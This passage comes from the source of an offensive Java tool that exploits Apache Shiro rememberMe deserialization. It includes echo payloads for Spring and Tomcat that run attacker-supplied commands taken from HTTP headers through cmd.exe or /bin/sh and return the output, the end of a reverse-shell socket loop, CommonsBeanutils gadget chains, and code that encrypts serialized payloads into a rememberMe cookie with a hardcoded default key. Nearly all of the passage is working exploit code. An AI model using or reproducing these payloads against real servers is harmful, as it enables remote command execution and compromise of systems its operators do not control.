(!s.isClosed()) {\n while (pi.available() > 0) {\n so.write(pi.read());\n }\n while (pe.available() > 0) {\n so.write(pe.read());\n }\n while (si.available() > 0) {\n po.write(si.read());\n }\n so.flush();\n po.flush();\n Thread.sleep(50L);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {\n }\n }\n p.destroy();\n s.close();\n } catch (Throwable e) {\n e.printStackTrace();\n }\n }", clazz)); 29 | return clazz; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/echo/SpringEcho.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | import javassist.CannotCompileException; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtNewConstructor; 7 | import javassist.NotFoundException; 8 | 9 | 10 | 11 | public class SpringEcho implements EchoPayload { 12 | @Override 13 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException { 14 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 15 | 16 | if ((clazz.getDeclaredConstructors()).length != 0) { 17 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 18 | } 19 | clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" + 20 | " try {\n" + 21 | " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + 22 | " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + 23 | " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + 24 | "\n" + 25 | " String te = httprequest.getHeader(\"Host\");\n" + 26 | " httpresponse.addHeader(\"Host\", te);\n" + 27 | " String tc = httprequest.getHeader(\"Authorization\");\n" + 28 | " if (tc != null && !tc.isEmpty()) {\n" + 29 | " String p = org.apache.shiro.codec.Base64.decodeToString(tc.replaceAll(\"Basic \", \"\"));\n" + 30 | " String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") ? new String[]{\"cmd.exe\", \"/c\", p} : new String[]{\"/bin/sh\", \"-c\", p};\n" + 31 | " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + 32 | " String base64Str = \"\";\n" + 33 | " base64Str = org.apache.shiro.codec.Base64.encodeToString(result);\n" + 34 | " httpresponse.getWriter().write(\"$$$\" + base64Str + \"$$$\");\n" + 35 | "\n" + 36 | " }\n" + 37 | " httpresponse.getWriter().flush();\n" + 38 | " httpresponse.getWriter().close();\n" + 39 | " } catch (Exception e) {\n" + 40 | " e.getStackTrace();\n" + 41 | " }\n" + 42 | " }", clazz)); 43 | return clazz; 44 | } 45 | } 46 | 47 | 48 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/echo/TomcatEcho2.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | import javassist.*; 4 | import java.io.*; 5 | 6 | 7 | public class TomcatEcho2 implements EchoPayload { 8 | @Override 9 | public CtClass genPayload(final ClassPool pool) throws CannotCompileException, NotFoundException, IOException { 10 | final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 11 | if (clazz.getDeclaredConstructors().length != 0) { 12 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 13 | } 14 | clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n Object var2;\n Class var3;\n try {\n var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n var2 = var3.newInstance();\n var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (ClassNotFoundException var5) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (NoSuchMethodException var6) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n }\n\n}", clazz)); 15 | clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n java.lang.reflect.Field var2 = null;\n Class var3 = var0.getClass();\n\n while(var3 != Object.class) {\n try {\n var2 = var3.getDeclaredField(var1);\n break;\n } catch (NoSuchFieldException var5) {\n var3 = var3.getSuperclass();\n }\n }\n\n if (var2 == null) {\n throw new NoSuchFieldException(var1);\n } else {\n var2.setAccessible(true);\n return var2.get(var0);\n }\n }", clazz)); 16 | clazz.addConstructor(CtNewConstructor.make(" public TomcatEcho() throws Exception {\n boolean var4 = false;\n Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n for (int var6 = 0; var6 < var5.length; ++var6) {\n Thread var7 = var5[var6];\n if (var7 != null) {\n String var3 = var7.getName();\n if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n Object var1 = getFV(var7, \"target\");\n if (var1 instanceof Runnable) {\n try {\n var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception var13) {\n continue;\n }\n\n java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n\n for(int var10 = 0; var10 < var9.size(); ++var10) {\n Object var11 = var9.get(var10);\n var1 = getFV(var11, \"req\");\n Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Ctmd\")});\n if (var3 != null && !var3.isEmpty()) {\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"techo\"), var3});\n var4 = true;\n }\n\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"c\")});\n if (var3 != null && !var3.isEmpty()) {\n var3 = org.apache.shiro.codec.Base64.decodeToString(var3);\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n var4 = true;\n }\n\n if (var4) {\n break;\n }\n }\n\n if (var4) {\n break;\n }\n }\n }\n }\n }\n}", clazz)); 17 | return clazz; 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/echo/dfs.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | /** 4 | * @ClassName: dfs 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/12/9 13:45 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class dfs { 12 | 13 | static java.util.HashSet h; 14 | static javax.servlet.http.HttpServletRequest r; 15 | static javax.servlet.http.HttpServletResponse p; 16 | 17 | public dfs(){ 18 | 19 | r = null; 20 | p = null; 21 | h =new java.util.HashSet(); 22 | F(Thread.currentThread(),0); 23 | } 24 | 25 | private static boolean i(Object obj){ 26 | if(obj==null|| h.contains(obj)){ 27 | return true; 28 | } 29 | h.add(obj); 30 | return false; 31 | } 32 | private static void p(Object o, int depth){ 33 | if(depth > 52||(r !=null&& p !=null)){ 34 | return; 35 | } 36 | if(!i(o)){ 37 | if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){ 38 | r = (javax.servlet.http.HttpServletRequest)o; 39 | if(r.getHeader("Host")==null && r.getHeader("Authorization") == null) { 40 | r = null; 41 | }else{ 42 | try { 43 | p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse",null).invoke(r,null); 44 | 45 | } catch (Exception e) { 46 | r = null; 47 | } 48 | } 49 | 50 | } 51 | if(r !=null&& p !=null){ 52 | try { 53 | 54 | p.addHeader("Host",r.getHeader("Host")); 55 | try { 56 | p.getWriter().println("$$$" + org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader("Authorization").replaceAll("Basic ",""))).getInputStream()).useDelimiter("\\A").next().getBytes()) + "$$$"); 57 | }catch (Exception e){} 58 | 59 | p.getWriter().flush(); 60 | p.getWriter().close(); 61 | 62 | 63 | }catch (Exception e){ 64 | } 65 | return; 66 | } 67 | 68 | F(o,depth+1); 69 | } 70 | } 71 | private static void F(Object start, int depth){ 72 | 73 | Class n=start.getClass(); 74 | do{ 75 | java.lang.reflect.Field f = null; 76 | int l = n.getDeclaredFields().length; 77 | for (int i = 0; i < l; i++) { 78 | f = n.getDeclaredFields()[i]; 79 | f.setAccessible(true); 80 | Object o = null; 81 | try{ 82 | o = f.get(start); 83 | 84 | if(!o.getClass().isArray()){ 85 | p(o,depth); 86 | }else{ 87 | Object q = null; 88 | Object[] objs = (Object[])o; 89 | int len = java.lang.reflect.Array.getLength(o); 90 | for (int j = 0; j < len; j++) { 91 | q = objs[j]; 92 | p(q, depth); 93 | } 94 | 95 | } 96 | 97 | }catch (Exception e){ 98 | } 99 | } 100 | 101 | }while( 102 | (n = n.getSuperclass())!=null 103 | ); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/frame/FramePayload.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.frame; 2 | 3 | import com.sun.xml.internal.ws.util.StringUtils; 4 | 5 | import com.sun.xml.internal.ws.util.StringUtils; 6 | 7 | public interface FramePayload { 8 | String sendpayload(Object var1, String var2, String var3) throws Exception; 9 | 10 | String sendpayload(Object var1) throws Exception; 11 | 12 | public static class Utils { 13 | public Utils() { 14 | } 15 | 16 | public static Class getPayloadClass(String className) { 17 | Class clazz = null; 18 | 19 | try { 20 | clazz = Class.forName("vulgui.deser.frame." + StringUtils.capitalize(className)); 21 | } catch (Exception var3) { 22 | } 23 | 24 | return clazz; 25 | } 26 | } 27 | } 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/frame/Shiro.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.frame; 2 | 3 | import com.summersec.attack.Encrypt.CbcEncrypt; 4 | import com.summersec.attack.Encrypt.GcmEncrypt; 5 | import com.summersec.attack.Encrypt.ShiroGCM; 6 | import com.summersec.attack.core.AttackService; 7 | import com.summersec.attack.deser.payloads.ObjectPayload; 8 | import com.summersec.attack.deser.util.Gadgets; 9 | import com.summersec.attack.deser.util.GadgetsK; 10 | import com.summersec.attack.utils.AesUtil; 11 | import com.mchange.v2.ser.SerializableUtils; 12 | import java.util.Arrays; 13 | import java.util.List; 14 | import javax.xml.bind.DatatypeConverter; 15 | import org.apache.shiro.crypto.AesCipherService; 16 | import org.apache.shiro.crypto.CipherService; 17 | import org.apache.shiro.util.ByteSource; 18 | 19 | 20 | 21 | public class Shiro implements FramePayload { 22 | public Shiro() { 23 | } 24 | 25 | @Override 26 | public String sendpayload(Object ChainObject) throws Exception { 27 | return null; 28 | } 29 | 30 | @Override 31 | public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception { 32 | byte[] serpayload = SerializableUtils.toByteArray(chainObject); 33 | byte[] bkey = DatatypeConverter.parseBase64Binary(key); 34 | byte[] encryptpayload = null; 35 | // byte[] encryptpayload; 36 | if (AttackService.aesGcmCipherType == 1) { 37 | // CipherService cipherService = new AesCipherService(); 38 | // ByteSource byteSource = cipherService.encrypt(serpayload, bkey); 39 | // encryptpayload = byteSource.getBytes(); 40 | // GcmEncrypt gcmEncrypt = new GcmEncrypt(); 41 | ShiroGCM shiroGCM = new ShiroGCM(); 42 | String byteSource = shiroGCM.encrypt(key,serpayload); 43 | // String byteSource = gcmEncrypt.encrypt(key, serpayload); 44 | // encryptpayload = byteSource.getBytes(); 45 | System.out.println(shiroKeyWord + "=" + byteSource); 46 | return shiroKeyWord + "=" + byteSource; 47 | 48 | } else { 49 | // encryptpayload = AesUtil.encrypt(serpayload, bkey); 50 | CbcEncrypt cbcEncrypt = new CbcEncrypt(); 51 | String byteSource = cbcEncrypt.encrypt(key, serpayload); 52 | System.out.println(shiroKeyWord + "=" + byteSource); 53 | return shiroKeyWord + "=" + byteSource; 54 | } 55 | 56 | //增加绕waf的方法,暂不开启。by @by3 @liuwa 57 | //return shiroKeyWord + "=" +"...." + DatatypeConverter.printBase64Binary(encryptpayload); 58 | // return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload); 59 | 60 | } 61 | // @Override 62 | // public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception { 63 | // byte[] serpayload = SerializableUtils.toByteArray(chainObject); 64 | // byte[] bkey = DatatypeConverter.parseBase64Binary(key); 65 | // byte[] encryptpayload = null; 66 | // // byte[] encryptpayload; 67 | // if (AttackService.aesGcmCipherType == 1) { 68 | // // CipherService cipherService = new AesCipherService(); 69 | // // ByteSource byteSource = cipherService.encrypt(serpayload, bkey); 70 | // // encryptpayload = byteSource.getBytes(); 71 | // GcmEncrypt gcmEncrypt = new GcmEncrypt(); 72 | // String byteSource = gcmEncrypt.encrypt(key,serpayload); 73 | // // encryptpayload = byteSource.getBytes(); 74 | // System.out.println(shiroKeyWord + "=" + byteSource); 75 | // return shiroKeyWord + "=" + byteSource; 76 | // 77 | // } else { 78 | // encryptpayload = AesUtil.encrypt(serpayload, bkey); 79 | // } 80 | // 81 | // return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload); 82 | // } 83 | 84 | public static void main(String[] args) throws Exception { 85 | Class gadgetClazz = (Class) Utils.getPayloadClass("CommonsBeanutilsAttrCompare"); 86 | ObjectPayload gadgetpayload = (ObjectPayload) gadgetClazz.newInstance(); 87 | List echoList = Arrays.asList("TomcatEcho", "Tomcat1Echo", "InjectMemTool", "SpringEcho", "NoEcho", "ReverseEcho", "TomcatHeaderEcho", "InjectMemTool"); 88 | String option = "ReverseEcho"; 89 | Object template = null; 90 | Object chainObject = null; 91 | if (echoList.contains(option)) { 92 | if(option.equals("InjectMemTool")){ 93 | template = Gadgets.createTemplatesImpl(option,"user"); 94 | } 95 | else{ 96 | template = Gadgets.createTemplatesImpl(option,""); 97 | } 98 | } else { 99 | template = GadgetsK.createTemplatesTomcatEcho(); 100 | } 101 | 102 | Shiro shiro = new Shiro(); 103 | if (template != null) { 104 | chainObject = gadgetpayload.getObject(template); 105 | AttackService.aesGcmCipherType = 1; 106 | String sendpayload = shiro.sendpayload(chainObject, "rememberMe", "4AvVhmFLUs0KTA3Kprsdag=="); 107 | System.out.println(sendpayload); 108 | } 109 | 110 | } 111 | } 112 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 4 | import com.summersec.attack.deser.util.Reflections; 5 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import java.math.BigInteger; 9 | import java.util.Comparator; 10 | import java.util.PriorityQueue; 11 | 12 | //@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 13 | public class CommonsBeanutils1 implements ObjectPayload { 14 | @Override 15 | public Object getObject(Object templates) throws Exception { 16 | 17 | BeanComparator beanComparator = new BeanComparator("lowestSetBit"); 18 | PriorityQueue queue = new PriorityQueue(2, (Comparator)beanComparator); 19 | 20 | queue.add(new BigInteger("1")); 21 | queue.add(new BigInteger("1")); 22 | 23 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 24 | 25 | 26 | Object[] queueArray = (Object[])Reflections.getFieldValue(queue, "queue"); 27 | queueArray[0] = templates; 28 | queueArray[1] = templates; 29 | 30 | return queue; 31 | } 32 | } 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutils1_183.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.util.Gadgets; 4 | import com.summersec.attack.deser.util.JavassistClassLoader; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import javassist.ClassClassPath; 7 | import javassist.ClassPool; 8 | import javassist.CtClass; 9 | import javassist.CtField; 10 | import org.apache.commons.beanutils.BeanComparator; 11 | 12 | import java.math.BigInteger; 13 | import java.util.Comparator; 14 | import java.util.PriorityQueue; 15 | 16 | public class CommonsBeanutils1_183 implements ObjectPayload { 17 | @Override 18 | public Object getObject(Object templates) throws Exception { 19 | 20 | // 修改BeanComparator类的serialVersionUID 21 | ClassPool pool = ClassPool.getDefault(); 22 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 23 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 24 | try { 25 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 26 | ctBeanComparator.removeField(ctSUID); 27 | }catch (javassist.NotFoundException e){} 28 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 29 | final Comparator beanComparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 30 | ctBeanComparator.defrost(); 31 | Reflections.setFieldValue(beanComparator, "property", "lowestSetBit"); 32 | 33 | PriorityQueue queue = new PriorityQueue(2, (Comparator)beanComparator); 34 | 35 | queue.add(new BigInteger("1")); 36 | queue.add(new BigInteger("1")); 37 | 38 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 39 | 40 | Object[] queueArray = (Object[])Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | return queue; 45 | } 46 | 47 | public static void main(String[] args) throws Exception { 48 | CommonsBeanutils1_183 payload = new CommonsBeanutils1_183(); 49 | payload.getObject(new Object()); 50 | } 51 | } 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsAttrCompare.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | 7 | 8 | import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; 9 | import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; 10 | import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; 11 | import org.apache.commons.beanutils.BeanComparator; 12 | 13 | import java.lang.reflect.Method; 14 | import java.util.PriorityQueue; 15 | import java.util.Queue; 16 | 17 | 18 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 19 | @Authors({"水滴"}) 20 | public class CommonsBeanutilsAttrCompare implements ObjectPayload>{ 21 | 22 | @Override 23 | public Queue getObject(Object template) throws Exception { 24 | 25 | // AttrNSImpl attrNS1 = new AttrNSImpl(); 26 | CoreDocumentImpl coreDocument = new CoreDocumentImpl(); 27 | // attrNS1.setValues(coreDocument,"1","1","1"); 28 | 29 | Class attrNS1CLASS = Class.forName("com.sun.org.apache.xerces.internal.dom.AttrNSImpl"); 30 | Method setOwnerDocumentMETHOD = attrNS1CLASS.getSuperclass().getDeclaredMethod("setOwnerDocument",CoreDocumentImpl.class); 31 | AttrNSImpl attrNS1 = (AttrNSImpl) attrNS1CLASS.newInstance(); 32 | setOwnerDocumentMETHOD.setAccessible(true); 33 | setOwnerDocumentMETHOD.invoke(attrNS1,coreDocument); 34 | 35 | BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); 36 | 37 | PriorityQueue queue = new PriorityQueue(2, beanComparator); 38 | 39 | 40 | queue.add(attrNS1); 41 | queue.add(attrNS1); 42 | 43 | 44 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 45 | 46 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 47 | 48 | return (Queue)queue; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsAttrCompare_183.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.JavassistClassLoader; 6 | import com.summersec.attack.deser.util.Reflections; 7 | 8 | 9 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 10 | import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; 11 | import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; 12 | import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; 13 | import javassist.ClassClassPath; 14 | import javassist.ClassPool; 15 | import javassist.CtClass; 16 | import javassist.CtField; 17 | import org.apache.commons.beanutils.BeanComparator; 18 | 19 | import java.lang.reflect.Method; 20 | import java.util.Comparator; 21 | import java.util.PriorityQueue; 22 | import java.util.Queue; 23 | 24 | 25 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 26 | @Authors({"SummerSec"}) 27 | public class CommonsBeanutilsAttrCompare_183 implements ObjectPayload>{ 28 | 29 | @Override 30 | public Queue getObject(Object template) throws Exception { 31 | 32 | // AttrNSImpl attrNS1 = new AttrNSImpl(); 33 | CoreDocumentImpl coreDocument = new CoreDocumentImpl(); 34 | // attrNS1.setValues(coreDocument,"1","1","1"); 35 | Class attrNS1CLASS = Class.forName("com.sun.org.apache.xerces.internal.dom.AttrNSImpl"); 36 | Method setOwnerDocumentMETHOD = attrNS1CLASS.getSuperclass().getDeclaredMethod("setOwnerDocument",CoreDocumentImpl.class); 37 | AttrNSImpl attrNS1 = (AttrNSImpl) attrNS1CLASS.newInstance(); 38 | setOwnerDocumentMETHOD.setAccessible(true); 39 | setOwnerDocumentMETHOD.invoke(attrNS1,coreDocument); 40 | 41 | ClassPool pool = ClassPool.getDefault(); 42 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 43 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 44 | try { 45 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 46 | ctBeanComparator.removeField(ctSUID); 47 | }catch (javassist.NotFoundException e){} 48 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 49 | final Comparator beanComparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 50 | ctBeanComparator.defrost(); 51 | Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); 52 | 53 | // StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2"); 54 | // Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 55 | // System.out.println(u.getPackage()); 56 | 57 | 58 | // Object beanComparator = u.getDeclaredConstructor(String.class, Comparator.class).newInstance(null, new AttrCompare()); 59 | 60 | // PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); 61 | PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); 62 | 63 | 64 | queue.add(attrNS1); 65 | queue.add(attrNS1); 66 | 67 | 68 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 69 | 70 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 71 | // Reflections.setFieldValue(beanComparator, "comparator", new AttrNSImpl()); 72 | 73 | return (Queue)queue; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsObjectToStringComparator.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | 7 | 8 | import org.apache.commons.beanutils.BeanComparator; 9 | import org.apache.commons.lang3.compare.ObjectToStringComparator; 10 | 11 | import java.util.PriorityQueue; 12 | import java.util.Queue; 13 | 14 | // Apache Commons Lang 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) 16 | @Authors({"水滴"}) 17 | public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload>{ 18 | 19 | @Override 20 | public Queue getObject(Object template) throws Exception { 21 | 22 | ObjectToStringComparator stringComparator = new ObjectToStringComparator(); 23 | 24 | 25 | BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator()); 26 | 27 | PriorityQueue queue = new PriorityQueue(2, beanComparator); 28 | 29 | 30 | queue.add(stringComparator); 31 | queue.add(stringComparator); 32 | 33 | 34 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 35 | 36 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 37 | 38 | return (Queue)queue; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsObjectToStringComparator_183.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.JavassistClassLoader; 6 | import com.summersec.attack.deser.util.Reflections; 7 | 8 | 9 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 10 | import javassist.ClassClassPath; 11 | import javassist.ClassPool; 12 | import javassist.CtClass; 13 | import javassist.CtField; 14 | import org.apache.commons.beanutils.BeanComparator; 15 | import org.apache.commons.lang3.compare.ObjectToStringComparator; 16 | 17 | import java.util.Comparator; 18 | import java.util.PriorityQueue; 19 | import java.util.Queue; 20 | 21 | // Apache Commons Lang 22 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 23 | @Authors({"SummerSec"}) 24 | public class CommonsBeanutilsObjectToStringComparator_183 implements ObjectPayload>{ 25 | 26 | @Override 27 | public Queue getObject(Object template) throws Exception { 28 | // StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2"); 29 | // Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 30 | // System.out.println(u.getPackage()); 31 | // 32 | // Object beanComparator = u.getDeclaredConstructor(String.class, Comparator.class).newInstance(null, new ObjectToStringComparator() ); 33 | 34 | ClassPool pool = ClassPool.getDefault(); 35 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 36 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 37 | try { 38 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 39 | ctBeanComparator.removeField(ctSUID); 40 | }catch (javassist.NotFoundException e){} 41 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 42 | final Comparator beanComparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 43 | ctBeanComparator.defrost(); 44 | Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); 45 | 46 | ObjectToStringComparator stringComparator = new ObjectToStringComparator(); 47 | 48 | 49 | // BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator()); 50 | 51 | PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); 52 | 53 | 54 | queue.add(stringComparator); 55 | queue.add(stringComparator); 56 | 57 | 58 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 59 | 60 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 61 | // Reflections.setFieldValue(beanComparator, "comparator", stringComparator); 62 | 63 | return (Queue)queue; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsPropertySource.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import org.apache.commons.beanutils.BeanComparator; 7 | import org.apache.logging.log4j.util.PropertySource; 8 | 9 | import java.util.PriorityQueue; 10 | import java.util.Queue; 11 | 12 | // org.apache.logging.log4j 13 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 14 | @Authors({"SummerSec"}) 15 | 16 | public class CommonsBeanutilsPropertySource implements ObjectPayload>{ 17 | 18 | @Override 19 | public Queue getObject(Object template) throws Exception { 20 | PropertySource propertySource1 = new PropertySource() { 21 | @Override 22 | public int getPriority() { 23 | return 0; 24 | } 25 | 26 | }; 27 | 28 | BeanComparator beanComparator = new 